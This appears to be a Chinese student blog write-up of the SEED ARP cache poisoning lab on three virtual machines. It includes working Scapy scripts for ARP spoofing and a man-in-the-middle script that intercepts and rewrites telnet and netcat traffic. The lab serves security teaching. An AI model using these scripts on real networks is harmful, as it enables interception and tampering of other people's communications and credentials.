信息安全 SEED Lab11 ARP Cache Poisoning Attack Lab

这部分主要是理解ARP协议和实施一些对ARP的攻击。
本地共有三台虚拟机,位于同一个子网下。地址如下:

NameMac AddressIP Address
A08:00:27:7e:82:5710.0.2.4
B08:00:27:34:bf:1e10.0.2.5
C08:00:27:62:26:6810.0.2.6

Task 1. ARP缓存投毒攻击

这部分主要是通过不同的方式实施ARP缓存投毒攻击。

Task 1A

这部分是通过ARP请求广播来实施ARP缓存投毒攻击。具体目标是我们通过A攻击C使得C的ARP缓存中B的IP地址对应的MAC地址是A的MAC地址。实现就是A在ARP请求中,使用A的MAC地址和B的IP地址,C收到请求后会进行缓存发送方的ip和mac映射。

先在 C机器上执行命令 sudo arp -d 10.0.2.5 清除C机器上的关于机器B的arp缓存。然后在A机器上执行下面的代码。

代码如下:

#!/usr/bin/python3
from scapy.all import *

broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"

E = Ether(src=A_mac, dst=broadcast_mac)
A = ARP(hwsrc=A_mac, psrc=B_ip, pdst=C_ip)
sendp(E/A)

查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5(机器B)对应的MAC地址为08:00:27:7e:82:57(机器A的MAC地址),攻击完成。
在这里插入图片描述
wireshark记录如下:
在这里插入图片描述

Task 1B

这部分是通过ARP响应来实施ARP缓存投毒攻击。具体目标和task1A基本一样,都是通过A攻击C使得C的ARP缓存中B的IP地址对应的MAC地址是A的MAC地址。实现就是在ARP响应中发送方使用A的MAC地址和B的IP地址,接受方使用C的MAC地址和C的IP地址。

先在 C机器上执行命令 sudo arp -d 10.0.2.5 清除C机器上的关于机器B的arp缓存。然后在A机器上执行下面的代码。
代码如下:

#!/usr/bin/python3
from scapy.all import *

broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"

E = Ether(src=A_mac, dst=C_mac)
# op=2 implies a arp reply
A = ARP(hwsrc=A_mac, psrc=B_ip, hwdst=C_mac, pdst=C_ip, op=2)
sendp(E/A)

查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5(机器B)对应的MAC地址为08:00:27:7e:82:57(机器A的MAC地址),攻击完成。
在这里插入图片描述
wireshark记录如下:
在这里插入图片描述

Task 1C

这部分是通过ARP免费报文来实施ARP缓存投毒攻击。免费ARP报文是一种特殊的ARP报文,该报文携带的发送端IP地址和目标IP地址都是本机地址,报文源MAC地址是本机地址,目的MAC地址是广播地址,以太网头中的目的MAC地址也是广播地址。

设备通过对外发送免费ARP报文来实现以下功能:

  1. 确定其它设备的IP地址是否与本机的IP地址冲突。当其它设备收到免费ARP报文后,如果发现报文中的IP地址和自己的IP地址相同,则给发送免费ARP报文的设备返回一个ARP应答,告知该设备IP地址冲突。

  2. 设备改变了硬件地址,通过发送免费ARP报文通知其它设备更新ARP表项。

这部分我们的具体目标和task1A基本一样,都是通过A攻击C使得C的ARP缓存中B的IP地址对应的MAC地址是A的MAC地址。实现就是在ARP免费报文中发送方使用A的MAC地址和B的IP地址即可。

先在 C机器上执行命令 sudo arp -d 10.0.2.5 清除C机器上的关于机器B的arp缓存。然后在A机器上执行下面的代码。
代码如下:

#!/usr/bin/python3
from scapy.all import *

broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"

E = Ether(src=A_mac, dst=broadcast_mac)
# op=2 implies a arp reply
A = ARP(hwsrc=A_mac, psrc=B_ip, hwdst=broadcast_mac, pdst=B_ip)
sendp(E/A)

查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5(机器B)对应的MAC地址为08:00:27:7e:82:57(机器A的MAC地址),攻击完成。
在这里插入图片描述
wireshark记录如下:
在这里插入图片描述

Task 2

这部分主要是通过ARP缓存投毒来对telnet实施中间人攻击。示意图如下:
在这里插入图片描述
这部分我们使用A作为攻击者,即作为中间人去监听B和C之间的通信。 共分为以下几步:

Step 1 先实施ARP缓存投毒

要实施中间人攻击,就必须先让B和C之间的数据包经过攻击者。这部分我们可以用ARP缓存投毒,具体效果可以参考Task 1.

ARP缓存投毒有多种实现方法,这里我们采用Task1A中的方法实现,即通过ARP请求来实现。具体代码如下:

#!/usr/bin/python3
from scapy.all import *

broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"

# attack machine B
E = Ether(src=A_mac, dst=broadcast_mac)
A = ARP(hwsrc=A_mac, psrc=C_ip, pdst=B_ip)
sendp(E/A)
# attack machine C
E = Ether(src=A_mac, dst=broadcast_mac)
A = ARP(hwsrc=A_mac, psrc=B_ip, pdst=C_ip)
sendp(E/A)

在B机器上使用sudo arp -d 10.0.2.6删除B机器上的关于机器C的arp缓存,在C机器上使用sudo arp -d 10.0.2.5删除C机器上的关于机器B的arp缓存。

在A机器上运行上面的代码。

查看 B机器的arp缓存如下, 可以看到IP为10.0.2.6(机器C)对应的MAC地址为08:00:27:7e:82:57(机器A的MAC地址)。
在这里插入图片描述
查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5(机器B)对应的MAC地址为08:00:27:7e:82:57(机器A的MAC地址)。
在这里插入图片描述
至此,我们将B机器上C的IP地址的ARP缓存指向了A的MAC地址,C机器上B的IP地址的ARP缓存指向了A的MAC地址,攻击完成。

Step 2 测试

上面我们完成了攻击,这里我们在B机器上ping C机器,在C机器上ping B机器测试一下。

下图是在B机器上ping C机器,可以看到是ping不通的,同理在C机器上ping B机器也是ping不通的。
在这里插入图片描述
原因如下:以在B机器上ping C机器为例, 发送的icmp包链路层本应该是机器C的ip对应的MAC地址,但是由于ARP中毒攻击,缓存中机器C的ip对应的MAC地址是机器A的MAC地址,而IP层的目的地址是机器C的IP地址。所以机器A收到这个包,看到包中的目的MAC地址与自己的一样,会收下来,但是IP层的目的IP是机器C的IP地址,与自己的对不上,会丢弃该包。
机器C看到包中的目的MAC地址与自己的不一样,不会收,所以ping失败。

Step 3 打开系统数据包转发

使用下面的命令在A机器上打开数据包转发功能。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。

sudo sysctl net.ipv4.ip_forward=1

打开后再次测试可以发现从机器B可以ping通机器C了。
在这里插入图片描述
原因就是系统开启了类似路由的转发功能,以请求为例,第一个包如下,IP层是机器B -> 机器C,由于ARP缓存中毒,链路层是机器B -> 机器A
在这里插入图片描述
然后转发开始起作用。机器A收到包后修改链路层的MAC地址,目的MAC为机器C的MAC地址,源MAC为自己的MAC地址。
所以IP层是机器B -> 机器C不变,但是链路层变成机器A -> 机器C
在这里插入图片描述
这样C就能收到正确的icmp报文了。同理C的响应也是按照上面的步骤进行,响应先发给A,A再转发给B。

机器A在整个过程中就和一台路由器一样,完成包的转发工作。

Step 4 实施中间人攻击

最后就是实施攻击了。

Step 4.1

我们先在机器A上打开包转发功能,然后在机器B上telnet机器C,输入用户名密码,可以连上,可以正常输入命令并返回结果。然后在机器A上关闭包转发功能,再输入命令,可以发现无法输入,因为此时关闭包转发后,机器B和机器C已经无法通信,原因见Step 2分析,如下所示,无法输入。
在这里插入图片描述

Step 4.2

下面进行攻击。攻击的思路就是如Step 4.1中一样,先用ARP缓存中毒攻击机器B和机器C,然后在机器A上打开包转发。这时候机器B可以通过telnet和机器C建立通信。建立连接后在机器A上关闭包转发,运行我们的发包程序即可。虽然这时机器B不能直接和机器C通信,但是它发给机器C的包都发给机器A,机器A略作修改后即可发送给机器C。

先不修改数据包,使用的代码如下:

#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
        # Create a new packet based on the captured one.
        # (1) We need to delete the checksum fields in the IP and TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them for us if these fields are missing.
        # (2) We also delete the original TCP payload.
        newpkt = IP(pkt[IP])
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].payload)
        #####################################################################
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        olddata = pkt[TCP].payload.load # Get the original payload data
        newdata = olddata # No change is made in this sample code
        #####################################################################
        # Attach the new data and set the packet out
        send(newpkt/newdata)
    elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
        send(pkt[IP]) # Forward the original packet

# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)

按上面操作,结果如下,可以看到机器A上包转发已关闭
在这里插入图片描述

机器B上的结果如下,可以看到攻击后,telnet可以正常运行命令并输出结果,下图是输入ifconfig命令后,输出了机器C上的网卡和地址信息,右边是机器B本地shell的输出结果。这说明攻击正常工作。
在这里插入图片描述
下面尝试修改中间通信的数据包,这里我们简单将机器B发送的命令中的每个字符修改为z。代码如下:

#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
        # Create a new packet based on the captured one.
        # (1) We need to delete the checksum fields in the IP and TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them for us if these fields are missing.
        # (2) We also delete the original TCP payload.
        newpkt = IP(pkt[IP])
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].payload)
        #####################################################################
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        olddata = pkt[TCP].payload.load # Get the original payload data
        newdata = "z" * len(olddata) # No change is made in this sample code
        #####################################################################
        # Attach the new data and set the packet out
        send(newpkt/newdata)
    elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
        send(pkt[IP]) # Forward the original packet

# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)

结果如下,无论输入什么,都会显示z,即使回车,这会使得无法执行命令。因为在telnet中,一般你一输入一个字符,就会发一个包。当你输入非常快时,可能会一个包带多个字符。发送过去的数据server端会返回给client,client会显示在终端上。上面我们全替换为z,显示在client上的也全部是z。
在这里插入图片描述
略修改下,不替换回车,代码如下:

#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
        # Create a new packet based on the captured one.
        # (1) We need to delete the checksum fields in the IP and TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them for us if these fields are missing.
        # (2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].payload)
        #####################################################################
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        olddata = pkt[TCP].payload.load # Get the original payload data
        print("bytes: ", olddata)
        newdata = olddata.decode("ascii")
        print("content: ", newdata)
        tt = ""
        for v in newdata:
            tt += (v if v == '\r' else 'z')
        newdata = tt
        print("final: ", newdata)
        #####################################################################
        # Attach the new data and set the packet out
        send(newpkt/newdata)
    elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
        send(pkt[IP]) # Forward the original packet

# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)

结果如下,无论输入什么命令,都会变成全z,回车有效。
在这里插入图片描述

注意整个实验过程中,可能存在缓存中毒被破坏的情况,即机器B或C自己主动发ARP请求得到别人的真实地址的情况,这种情况下攻击可能会失效。解决办法是可以在机器A上定期发送ARP缓存中毒攻击,维持别的机器上的中毒ARP缓存。

Task 3.

这部分和task 2类似,只是对netcat实施中间人攻击。我们的任务是在netcat中输入包含我们名字的消息,攻击将名字的姓替换为同样长度的A。使用代码如下:

#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
        # Create a new packet based on the captured one.
        # (1) We need to delete the checksum fields in the IP and TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them for us if these fields are missing.
        # (2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].payload)
        #####################################################################
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        olddata = pkt[TCP].payload.load # Get the original payload data
        oldstr = olddata.decode("ascii")
        newdata = oldstr.replace("Liu", "AAA")

        #####################################################################
        # Attach the new data and set the packet out
        send(newpkt/newdata)
    elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
        send(pkt[IP]) # Forward the original packet

# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)

具体操作和task 2类似。先在机器A上发动ARP缓存投毒,并开启转发包。在机器C上使用nc -l 9090监听9090端口,在机器B上使用nc 10.0.2.6 9090连接机器C的9090端口。连接成功后在机器A上关闭转发包并运行上面的代码。这时候可以在机器B上输入消息并观察机器C的输出。

机器B的输入如下:
在这里插入图片描述
机器C的输出如下:
在这里插入图片描述
可以看到,我们成功将名字中的姓改成AAA。

撒花完结!!!

  • 3
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值